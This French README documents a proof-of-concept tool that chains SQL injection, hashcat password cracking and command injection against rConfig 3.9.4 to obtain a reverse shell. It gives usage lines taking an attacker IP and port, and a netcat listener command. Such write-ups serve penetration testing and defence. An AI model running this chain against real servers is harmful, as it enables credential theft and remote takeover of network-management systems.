rConfig 3.9 Preuve de concept combinée d'injection SQL et d'injection de commandes

Aperçu

Cette PoC cible la version 3.9.4 de rConfig et démontre l'exploitation via une combinaison de vulnérabilités d'injection SQL et d'injection de commandes à distance. Elle automatise le processus suivant :

1. Extraction du nom de la base de données via SQLi
2. Récupération des identifiants utilisateur depuis la base de données
3. Tentative de craquage des hachages de mots de passe avec hashcat en utilisant la liste de mots rockyou et les règles best64.rules
4. Exécution (optionnelle) de commandes à distance (RCE) via une injection de commandes dans la fonctionnalité de recherche, en utilisant les identifiants administrateur craqués

Ce script est basé sur et combine deux PoCs originales :

• 48208.py (Injection SQL) par vikingfr
• 48241.py (Injection de commandes) par Matthew Aberegg et Michael Burkey

Il a été modifié pour automatiser le craquage et le lancement optionnel d'un shell.

Prérequis

• Python 3
• bibliothèque requests (pip install requests)
• hashcat installé et accessible en ligne de commande
• liste de mots rockyou.txt (ou équivalente) située dans /usr/share/wordlists/rockyou.txt
• fichier de règles hashcat /usr/share/hashcat/rules/best64.rule

Utilisation

Pour récupérer les utilisateurs et les hachages uniquement :

python3 rConfig_rce.py https://cible

Pour récupérer les utilisateurs, craquer les mots de passe et tenter une RCE (nécessite l'IP et le port de l'attaquant pour un reverse shell) :

python3 rConfig_rce.py https://cible ip_attaquant port_attaquant

Remarques

• Si hashcat échoue à craquer le mot de passe, le script suggère d'utiliser des services de craquage en ligne comme CrackStation.
• Si le hachage du mot de passe ne peut pas être craqué automatiquement, il vous sera demandé de saisir manuellement le mot de passe en clair pour les tentatives de RCE.
• Le script privilégie l'utilisation du compte admin pour la phase d'injection de commandes.
• Assurez-vous d'avoir un écouteur (par exemple nc -lvnp 80) en cours d'exécution sur votre machine attaquante pour récupérer le reverse shell.

Avertissement

Cet outil est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Toute utilisation non autorisée contre des systèmes sans permission est illégale et contraire à l'éthique.